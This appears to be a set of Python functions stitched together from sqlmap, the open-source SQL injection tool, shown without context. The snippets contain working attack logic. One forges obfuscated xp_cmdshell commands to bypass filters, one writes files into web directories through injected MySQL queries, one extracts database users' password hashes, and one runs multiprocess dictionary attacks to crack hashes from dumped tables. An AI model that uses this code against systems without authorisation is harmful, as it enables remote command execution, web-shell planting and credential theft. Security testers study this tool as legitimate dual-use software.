def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr try: self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) except UnicodeError: self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd)
def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: strLineChar = encodeHex(lineChar, binary=False) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(strLineChar) // 2 fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines
def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] if encoding == "hex": content = encodeHex(content) elif encoding == "base64": content = encodeBase64(content) else: content = codecs.encode(content, encoding) content = getText(content).replace("\n", "") if not single: if len(content) > chunkSize: for i in xrange(0, len(content), chunkSize): _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ elif encoding == "base64": _ = "'%s'" % _ retVal.append(_) if not retVal: if encoding == "hex": content = "0x%s" % content elif encoding == "base64": content = "'%s'" % content retVal = [content] return retVal
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): """ REST-JSON API server """ DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.username = username DataStore.password = password _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) os.close(_) if port == 0: # random with contextlib.closing( socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind((host, 0)) port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=True, server=adapter) except socket.error as ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter errMsg += "List of supported adapters: %s" % ', '.join( sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % ( adapter, '3' if six.PY3 else "", adapter) logger.critical(errMsg)
def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ >>> oracle_old_passwd(password='******', username='******', uppercase=True) 'F894844C34402B67' """ IV, pad = "\0" * 8, "\0" unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING) ) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, IV, pad) encrypted = cipher.encrypt(unistr) retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower()
def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace( SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery( query ) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def task_new(): """ Create a new task """ taskid = encodeHex(os.urandom(8), binary=False) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid})
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: fallback = False if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): password = "******" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): fallback = True count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) elif Backend.isDbms(DBMS.MYSQL): fallback = True count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) if fallback: query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) if Backend.isDbms(DBMS.MYSQL): if fallback: query = query.replace("authentication_string", "password") password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the DBMS " errMsg += "current user has no read privileges over the relevant " errMsg += "system database table(s))" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] elif hash_regex in (HASH.SSHA256,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] elif hash_regex in (HASH.SSHA512,): item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] elif hash_regex in (HASH.WORDPRESS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD,): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) if os.path.splitext(dictPath)[1].lower() == ".zip": _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_] hashDBWrite(hash_, word) results.append(item) if conf.hashDB: conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = _queue.Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal and conf.hashDB: if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) if conf.hashDB: conf.hashDB.endTransaction() clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warn(warnMsg) return results
def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return debugMsg = "analyzing table dump for possible password hashes" logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} binary_fields = OrderedSet() replacements = {} for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for column in columns: if column != "__infos__" and table[column]["values"]: if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): binary_fields.add(column) if binary_fields: _ = ','.join(binary_fields) warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ logger.warn(warnMsg) for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == "__infos__": continue if len(table[column]["values"]) <= i: continue if conf.binaryFields and column in conf.binaryFields: continue value = table[column]["values"][i] if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: previous = value value = encodeHex(getBytes(value), binary=False) replacements[value] = previous if hashRecognition(value): found = True if col_user and i < len(table[col_user]["values"]): if table[col_user]["values"][i] not in attack_dict: attack_dict[table[col_user]["values"][i]] = [] attack_dict[table[col_user]["values"][i]].append(value) else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: key = hash_ if hash_ not in replacements else replacements[hash_] lut[key.lower()] = password lut["0x%s" % key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))